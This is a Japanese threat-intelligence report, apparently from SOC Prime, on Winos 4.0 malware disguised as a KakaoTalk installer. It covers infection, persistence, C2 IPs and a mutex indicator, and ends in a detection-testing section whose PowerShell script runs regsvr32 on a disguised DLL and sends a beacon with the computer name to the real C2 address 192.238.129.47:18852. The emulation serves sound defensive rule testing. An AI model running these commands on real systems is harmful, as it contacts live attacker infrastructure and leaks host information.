SOC Prime Bias: 中程度

24 Mar 2026 13:03 UTC

KakaoTalkインストーラーに偽装するWinos 4.0マルウェア

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon フォローする
KakaoTalkインストーラーに偽装するWinos 4.0マルウェア
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

概要

攻撃者はSEOポイズニングを悪用して偽のKakaoTalkインストーラーを検索結果の上位に押し上げました。このインストーラーは無効なコード署名証明書を持ち、Verifier.exeおよびAutoRecoverDat.dllを含む悪意のあるファイルを展開するNSISパッケージを埋め込んでいました。実行されると、マルウェアはDLL登録、スケジュールされたタスク、およびミューテックスを介して持続性を達成し、2つの別々のC2サーバーに接続しました。その能力には、スクリーンキャプチャ、システムプロファイリング、追加ペイロードのインメモリ実行が含まれていました。

調査

アーンラボセキュリティインテリジェンスセンターは、3月9日にキャンペーンを開始して以降、5,000台以上のPCが侵害されたと報告しました。分析では、暗号化されたNSISペイロードが復号してVerifier.exeとAutoRecoverDat.dllをドロップし、ミューテックスを作成し、GPUCache.xmlファイルからシェルコードをロードすることが示されました。シェルコードのブランチに応じて、マルウェアは192.238.129.47または119.28.70.225のC2インフラストラクチャに接触しました。持続性はDLL登録とスケジュールされたタスクによって維持され、Verifier.exeまたは rundll32 と共に悪意のあるDLLを起動します。

緩和策

組織は、キャンペーンに関連する悪意のあるドメインとダウンロードURLをブロックする必要があります。厳格なコード署名の検証を行い、無効な証明書を持つバイナリの実行を防ぎます。アプリケーションの許可リスト化を使用して、不明なNSISインストーラーの実行をブロックします。セキュリティチームは、報告書で概説されている特定のミューテックス、疑わしいスケジュールされたタスク、レジストリの変更を監視する必要があります。

対応策

検出チームは、ミューテックス 77825d8f-46d1-42d0-b298-83068bf9e31d の作成および MicrosoftWindowsAppID の下のスケジュールされたタスクについてアラートを出すべきです。ユーザープロファイルディレクトリ内の Verifier.exe と AutoRecoverDat.dll を狩り、既知のC2 IPとポートへのアウトバウンドトラフィックをブロックします。影響を受けたシステムの法医学的レビューを実施し、すべての持続性のアーティファクトと悪意のあるコンポーネントを完全に削除します。

攻撃フロー

シミュレーション実行

前提条件: テレメトリーおよびベースラインのプレフライトチェックが合格している必要があります。

理論根拠: このセクションでは、検出ルールをトリガーするよう設計された敵の技術(TTP)の正確な実行詳細を記載しています。コマンドと説明は識別されたTTPに直接関係し、検出ロジックによって期待される正確なテレメトリーを生成することを目指します。

  • 攻撃ストーリー&コマンド:

    攻撃者はすでに悪意のあるDLLを %LOCALAPPDATA%MicrosoftWindowsGPUCache ディレクトリ内に配置し、正規のキャッシュファイルとして偽装しています。ペイロードを実行するために、攻撃者は Regsvr32 (T1218.012)を利用してDLLを読み込み、ロードされたコンポーネントを使用してTCPポート18852(またはHTTPSポート443)を介してハードコーディングされたサーバー192.238.129.47へC2通信を開始します。このネットワークフローは、Sigmaルールが監視する観察可能な指標です。

    1. Regsvr32で悪意のあるDLLをロード
      regsvr32 /s "$env:LOCALAPPDATAMicrosoftWindowsGPUCacheGPUCache.xml"
    2. C2ビーコンを開始 (悪意のあるDLLがC2サーバーへTCPソケットを開きます)。テスト用に、同じIP/ポートに接続する単純なPowerShell TCPクライアントでビーコンをエミュレートします。
      $c2 = New-Object System.Net.Sockets.TcpClient('192.238.129.47',18852)
      $stream = $c2.GetStream()
      $payload = [System.Text.Encoding]::ASCII.GetBytes("Beacon from $env:COMPUTERNAME")
      $stream.Write($payload,0,$payload.Length)
      $stream.Close()
      $c2.Close()
  • 回帰テストスクリプト: 以下のスクリプトは、上記のステップをエンドツーエンドで再現し、Sigmaルールが期待する正確なネットワークテレメトリーを生成します。

    # -------------------------------------------------
    # Winos4.0 C2 シミュレーション - Sigmaルールをトリガー
    # -------------------------------------------------
    # 1. Regsvr32で悪意のある(シミュレーションされた)DLLをロード
    $dllPath = "$env:LOCALAPPDATAMicrosoftWindowsGPUCacheGPUCache.xml"
    if (Test-Path $dllPath) {
        Write-Host "[*] Regsvr32で悪意のあるDLLを登録中..."
        regsvr32 /s $dllPath
    } else {
        Write-Error "[-] シミュレーションされたDLLが $dllPath に見つかりません - 中止します。"
        exit 1
    }
    
    # 2. ハードコーディングされたIP/ポートへのC2ビーコンをエミュレート
    $c2IP   = '192.238.129.47'
    $c2Port = 18852
    
    Write-Host "[*] $c2IP:$c2Port へのTCP接続を確立中..."
    try {
        $client = New-Object System.Net.Sockets.TcpClient($c2IP,$c2Port)
        $stream = $client.GetStream()
        $msg    = "Beacon from $env:COMPUTERNAME at $(Get-Date -Format o)"
        $bytes  = [System.Text.Encoding]::ASCII.GetBytes($msg)
        $stream.Write($bytes,0,$bytes.Length)
        Write-Host "[+] ビーコンを送信しました。"
    } catch {
        Write-Error "[-] 接続失敗: $_"
    } finally {
        if ($stream) { $stream.Close() }
        if ($client) { $client.Close() }
    }
    # -------------------------------------------------
  • クリーンアップコマンド: 一時的なアーティファクトを削除し、残存する接続を閉じます。

    # テストアーティファクトである可能性があるシミュレーションされた悪意のあるDLLを削除
    $dllPath = "$env:LOCALAPPDATAMicrosoftWindowsGPUCacheGPUCache.xml"
    if (Test-Path $dllPath) {
        Remove-Item -Path $dllPath -Force
        Write-Host "[*] シミュレーションされたDLLをクリーンアップしました。"
    }
    
    # クライアント側のみであるため、残存するTCPリスナーは残らないはずです
    Get-NetTCPConnection -RemoteAddress 192.238.129.47 -RemotePort 18852 | ForEach-Object {
        # アクションは必要ありません。接続はスクリプト内で閉じられます。
    }